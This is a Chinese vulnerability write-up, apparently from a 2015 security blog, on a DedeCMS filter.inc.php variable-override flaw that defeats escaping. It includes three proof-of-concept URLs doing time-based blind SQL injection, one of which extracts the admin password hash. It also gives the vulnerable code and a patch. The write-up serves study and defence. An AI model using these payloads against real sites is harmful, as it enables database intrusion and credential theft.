dedecms /include/filter.inc.php Local Variable Overriding
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
filter.inc.php这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量
. 在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤
xxx.php?site=LittleHann’s blog
. 经过common.inc.php
$LittleHann = LittleHann\’s blog
. 经过filter.inc.php
$LittleHann = LittleHann’s blog
//重新获得闭合攻击性
2. 漏洞触发条件
. 程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞
. common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞,但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是没法覆盖
. 但是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量
. 在/member目录的大部分文件都包含这么一个文件/member/config.php,这个文件的前两句就是
require_once(dirname(__FILE__).’/../include/common.inc.php’);
require_once(DEDEINC.’/filter.inc.php’);
//就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量
0x1: POC1
http://127.0.0.1/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`
0x2: POC2
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`
0x3: POC3
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`
Relevant Link:
http://www.0x50sec.org/0day-exp/2011/08/id/1139/
http://www.wooyun.org/bugs/wooyun-2013-043674
3. 漏洞影响范围
4. 漏洞代码分析
/include/filter.inc.php
function _FilterAll($fk,&$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && eregi($cfg_notallowstr,$svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = eregi_replace($cfg_replacestr,"***",$svar);
}
}
//未对外部提交的数据进行有效转义,重新造成本地变量注入
return $svar;
} foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}
Relevant Link:
http://zone.wooyun.org/content/1883
http://www.jybase.net/wangzhananquan/20120412823_8.html
5. 防御方法
/include/filter.inc.php
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
/* 进行有效转义 */
/**/
return addslashes($svar);
} /* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
dedecms /include/filter.inc.php Local Variable Overriding的更多相关文章
- JSP页面使用include指令出现 Duplicate local variable basePath
现有三个页面 " include.jsp " " a.jsp " " b.jsp " 页面代码如下 首先是a.jsp <%@ page ...
- dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...
- dedecms /plus/search.php SQL Injection && Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- jsp的<%@ include file="jsp/common.jsp" %>报错误Duplicate local variable basePath
将公共引入的文件放到common.jsp中,其他页面引入该jsp即可使用 <%@ page language="java" import="java.util.*& ...
- JSP :使用<%@include%>报Duplicate local variable path 错误
今天在做商城页面,遇到问题: <%@include file="menu.jsp" %> 错误提示: Multiple annotations found at thi ...
- 织梦Dedecms系统可疑文件include/filter.inc.php扫描出漏洞,该如何解决?
今天在做网站监察的时候,发现网站出了一个问题,在对网站做木马监测的时候,扫描出一个可疑文件:/include/filter.inc.php,建议删除,但仔细检查后,发现此文件是织梦(Dedecms)系 ...
- JSP 使用<%@include%>报Duplicate local variable path 错误 解决方法
错误提示:Multiple annotations found at this line:- Duplicate local variable path- Duplicate local variab ...
- _markupbase.py if not match: UnboundLocalError: local variable 'match' referenced before assignment,分析Python 库 html.parser 中存在的一个解析BUG
BUG触发时的完整报错内容(本地无关路径用已经用 **** 隐去): **************\lib\site-packages\bs4\builder\_htmlparser.py:78: U ...
随机推荐
- 跟我学习Storm_Storm基本概念
首先我们通过一个Storm和Hadoop的对比来了解Storm中的基本概念. 接下来我们再来具体看一下这些概念. Nimbus:负责资源分配和任务调度. Supervisor:负责接受nimbus分配 ...
- Last-Modified,Etag,Expire区别
Last-Modified 是什么 Last-Modified 是 HttpHeader 中的资源的最后修改时间,如果带有 Last-Modified ,下一次发送 Http 请求时,将会发生带 If ...
- QT 智能提示设置
qt5.0的智能提示设置 qt默认的是Ctrl+空格 但这个是切换输入法,用着也不习惯 修改的地方是 工具->选项->环境 键盘选项把CompleteThis修改成自己习惯的快捷键
- 【开源】分享一个前后端分离方案-前端angularjs+requirejs+dhtmlx 后端asp.net webapi
一.前言 半年前左右折腾了一个前后端分离的架子,这几天才想起来翻出来分享给大家.关于前后端分离这个话题大家也谈了很久了,希望我这个实践能对大家有点点帮助,演示和源码都贴在后面. 二.技术架构 这两年a ...
- 阿里云Ubuntu 14.04 + Nginx + let's encrypt 搭建https访问
参考页面: https://certbot.eff.org/#ubuntutrusty-nginx http://bbs.qcloud.com/thread-12059-1-1.html http:/ ...
- Castle 多继承选择
Castle 多继承选择 很多时候,我们定义了一个接口,但是这个接口会有多种不同的,这时IOC构造函数注入的时候,就需要自动选择对应的实现. public interface ITestService ...
- Sentinel-Redis高可用方案(一):主从复制
引言 大概是因为Redis是个人开发的产品,所以Redis的高可用方案是被分成了几块来实现:主从复制.主从切换以及虚拟IP或客户端方案. 从Redis 2.8开始加入对Sentinel机制从而实现了服 ...
- Activity之多启动图标
如果想要Activity有多个启动图标,只需要在manifest.xml文件中配置一下就可以了,直接上代码: 1 <application 2 android:allowBackup=" ...
- js 基础(一)
<!--最近需要用到js相关的知识 就把在W3cSchool 下学到的东西做个笔记,方便以后再看 --><!DOCTYPE html> <html> <hea ...
- Android新旧版本Notification
Android新旧版本Notification 在notification.setLatestEventInfo() 过时了 以前: NotificationManager mn = (Notific ...